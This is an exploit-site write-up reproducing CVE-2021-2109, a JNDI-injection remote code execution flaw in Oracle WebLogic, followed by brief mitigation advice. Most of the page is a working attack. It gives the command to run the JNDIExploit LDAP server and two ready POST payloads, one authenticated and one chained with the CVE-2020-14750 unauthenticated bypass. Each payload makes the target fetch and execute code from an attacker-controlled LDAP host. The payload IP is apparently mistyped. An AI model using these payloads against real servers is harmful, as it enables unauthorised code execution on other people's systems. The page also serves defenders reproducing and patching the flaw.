## https://sploitus.com/exploit?id=7CBA184D-29D9-5E2B-A07F-B4A989876F50
CVE-2021-2109: WebLogic Server Remote Code Execution Vulnerability – Reproduction and Analysis
In January 2021, Oracle released security update patches, including 329 new security patches for Oracle products. This announcement specifically mentioned the security bulletin issued on November 1, 2020 regarding the CVE-2020-14750 vulnerability in Oracle WebLogic Server. It is strongly recommended that customers apply this patch update, as well as other patches mentioned in this announcement. The CVE number is CVE-2021-2109. This vulnerability is a remote code execution vulnerability in WebLogic. The vulnerability primarily involves JNDI injection, allowing attackers to exploit it for remote code execution. The affected versions are as follows:
WebLogic Server 10.3.6.0.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0
I. Reproduction of the CVE-2021-2109 WebLogic Server Remote Code Execution Vulnerability
A WebLogic Server test environment was set up using DOCKER. WebLogic Server could be accessed normally.
1. JNDI injection when logging in to the backend normally
In the first case, it is necessary to log in to the WebLogic Server backend using an administrator account. The login data packet can be captured using BurpSuite to obtain the login cookie data.
The LDAP service can be started locally. It can be downloaded from https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11. The command is as follows:
java -jar JNDIExploit-v1.11.jar -i 192.168.131.1
Send the JNDI injection POC packet for the WebLogic Server remote code execution vulnerability CVE-2021-2109:
POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Execute the ipconfig system command using the cmd variable.
2. JNDI injection with unauthorized access to the backend of WebLogic Server
In the second case, there is no need to log in to the WebLogic Server backend. It is necessary to send the JNDI injection POC packet for the WebLogic Server remote code execution vulnerability CVE-2021-2109, in conjunction with the unauthorized access vulnerability of WebLogic Server CVE-2020-14750:
POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.131;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Execute calc.exe through the cmd variable to open the system calculator.
The system calculator is opened.
II. Security Recommendations for CVE-2021-2109 WebLogic Server Remote Code Execution Vulnerability
1. Disable the T3 protocol
If you do not rely on the T3 protocol for JVM communication, you can mitigate the impact of this vulnerability by temporarily disabling the T3 protocol. 1). Enter the WebLogic Console, go to the base_domain configuration page, select the “Security” tab, click “Filter”, and configure the filter. 2). In the connection filter, enter: weblogic.security.net.ConnectionFilterImpl, and in the connection filter rules box, enter: * * 7001 deny t3 t3s.
2. Disable the IIOP feature
Log in to the WebLogic Console, find the option to enable IIOP, uncheck it, and restart for the changes to take effect.
3. Temporarily close the external access to backend/console/console.portal.
4. Upgrade to the official security patches.
[source-iocs-preserved url=https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11下载，命令如下：]